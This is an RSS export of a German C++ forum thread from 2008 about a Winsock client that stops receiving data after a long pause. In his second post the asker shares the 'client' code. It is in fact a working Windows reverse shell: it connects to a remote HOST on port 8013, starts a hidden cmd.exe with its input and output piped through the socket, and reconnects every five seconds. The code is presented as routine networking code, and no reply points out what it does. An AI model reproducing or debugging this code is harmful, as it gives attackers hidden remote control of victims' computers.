<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[winsock: Client-Server Kommunikationsprobleme]]></title><description><![CDATA[<p>Hallo! Ich habe einen Client und Server geschrieben. Wenn der Client die Daten von server mit recv(SOCKET,char*,int,0) emfängt läuft das auch gut. Wie kann man das aber Realisieren, dass der Server auch Pausen machen kann ohne dem Clienten was zu schicken? Also mein Client empfängt nichts mehr wenn man eine halbe stunde Pause macht und danch was zu schicken versucht.</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/213389/winsock-client-server-kommunikationsprobleme</link><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 02:01:52 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/213389.rss" rel="self" type="application/rss+xml"/><pubDate>Sat, 17 May 2008 11:59:53 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 11:59:53 GMT]]></title><description><![CDATA[<p>Hallo! Ich habe einen Client und Server geschrieben. Wenn der Client die Daten von server mit recv(SOCKET,char*,int,0) emfängt läuft das auch gut. Wie kann man das aber Realisieren, dass der Server auch Pausen machen kann ohne dem Clienten was zu schicken? Also mein Client empfängt nichts mehr wenn man eine halbe stunde Pause macht und danch was zu schicken versucht.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1510980</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1510980</guid><dc:creator><![CDATA[neoexpert]]></dc:creator><pubDate>Sat, 17 May 2008 11:59:53 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 13:00:38 GMT]]></title><description><![CDATA[<blockquote>
<p>Also mein Client empfängt nichts mehr wenn man eine halbe stunde Pause macht und danch was zu schicken versucht.</p>
</blockquote>
<p>Das sollte nicht passieren. Auch wenn du eine Woche Pause machst sollte die Verbindung noch stehen und funktionieren. Es sei denn natürlich sie ist zusammengebrochen, was aber wiederum nicht ohne guten Grund passieren sollte.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511005</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511005</guid><dc:creator><![CDATA[hustbaer]]></dc:creator><pubDate>Sat, 17 May 2008 13:00:38 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 14:32:41 GMT]]></title><description><![CDATA[<p>Dieser Thread wurde von Moderator/in <a href="http://www.c-plusplus.net/forum/profile-var-mode-is-viewprofile-and-u-is-10455.html" rel="nofollow">evilissimo</a> aus dem Forum <a href="http://www.c-plusplus.net/forum/viewforum-var-f-is-15.html" rel="nofollow">C++</a> in das Forum <a href="http://www.c-plusplus.net/forum/viewforum-var-f-is-4.html" rel="nofollow">WinAPI</a> verschoben.</p>
<p>Im Zweifelsfall bitte auch folgende Hinweise beachten:<br />
<a href="http://www.c-plusplus.net/forum/viewtopic-var-t-is-39405.html" rel="nofollow">C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?</a></p>
<p><em>Dieses Posting wurde automatisch erzeugt.</em></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511054</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511054</guid><dc:creator><![CDATA[C++ Forumbot]]></dc:creator><pubDate>Sat, 17 May 2008 14:32:41 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 15:27:12 GMT]]></title><description><![CDATA[<p>Ja gut, wie stelle ich denn bei dem client fest, dass die verbindung unterbrochen wurde? Bei diesem code:</p>
<pre><code class="language-cpp">WSADATA WSAData;
                SOCKADDR_IN sin;
                SOCKET sock;
                WSAStartup( MAKEWORD( 2, 0 ), &amp;WSAData );

                sock = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 );
                memset(&amp;sin,0,sizeof(SOCKADDR_IN)); 
                sin.sin_family=AF_INET;
                sin.sin_port=htons(8013);

                long rc=getAddrFromString(HOST,&amp;sin);
                if(rc==SOCKET_ERROR)
                {
                        Sleep(5000);
                        continue;
                }

                STARTUPINFO si = { 0 };
                PROCESS_INFORMATION pi = { 0 };
                char buff[ 2010 ];

                si.cb = sizeof( si );
                si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
                si.wShowWindow = SW_HIDE;
                si.hStdOutput = ( HANDLE )sock;
                si.hStdError = ( HANDLE )sock;
                si.hStdInput = ( HANDLE )sock;

                connect(sock,(SOCKADDR*)&amp;sin,sizeof(SOCKADDR));

                GetEnvironmentVariable( &quot;COMSPEC&quot;, buff, 2000 );

                CreateProcess( buff,0, 0, 0, true, CREATE_NEW_CONSOLE, 0, 0, &amp;si, &amp;pi );
                WaitForSingleObject(pi.hProcess,INFINITE);
                CloseHandle( pi.hProcess );
                CloseHandle( pi.hThread );
                closesocket( sock );
                Sleep(5000);
                WSACleanup();
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1511083</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511083</guid><dc:creator><![CDATA[neoexpert]]></dc:creator><pubDate>Sat, 17 May 2008 15:27:12 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 21:19:59 GMT]]></title><description><![CDATA[<p>doku lesen (MSDN)</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511240</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511240</guid><dc:creator><![CDATA[hustbaer]]></dc:creator><pubDate>Sat, 17 May 2008 21:19:59 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 21:21:01 GMT]]></title><description><![CDATA[<p>hustbaer schrieb:</p>
<blockquote>
<p>doku lesen (MSDN)</p>
</blockquote>
<p>bla bla bla</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511243</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511243</guid><dc:creator><![CDATA[haterskater]]></dc:creator><pubDate>Sat, 17 May 2008 21:21:01 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Sat, 17 May 2008 22:07:59 GMT]]></title><description><![CDATA[<p>haterskater schrieb:</p>
<blockquote>
<p>hustbaer schrieb:</p>
<blockquote>
<p>doku lesen (MSDN)</p>
</blockquote>
<p>bla bla bla</p>
</blockquote>
<p>fake mich ned man</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1511267</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1511267</guid><dc:creator><![CDATA[real_hs]]></dc:creator><pubDate>Sat, 17 May 2008 22:07:59 GMT</pubDate></item><item><title><![CDATA[Reply to winsock: Client-Server Kommunikationsprobleme on Tue, 12 Aug 2008 13:16:01 GMT]]></title><description><![CDATA[<p>real_hs schrieb:</p>
<blockquote>
<p>haterskater schrieb:</p>
<blockquote>
<p>hustbaer schrieb:</p>
<blockquote>
<p>doku lesen (MSDN)</p>
</blockquote>
<p>bla bla bla</p>
</blockquote>
<p>fake mich ned man</p>
</blockquote>
<p>hehe</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1563343</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1563343</guid><dc:creator><![CDATA[neoexpert]]></dc:creator><pubDate>Tue, 12 Aug 2008 13:16:01 GMT</pubDate></item></channel></rss>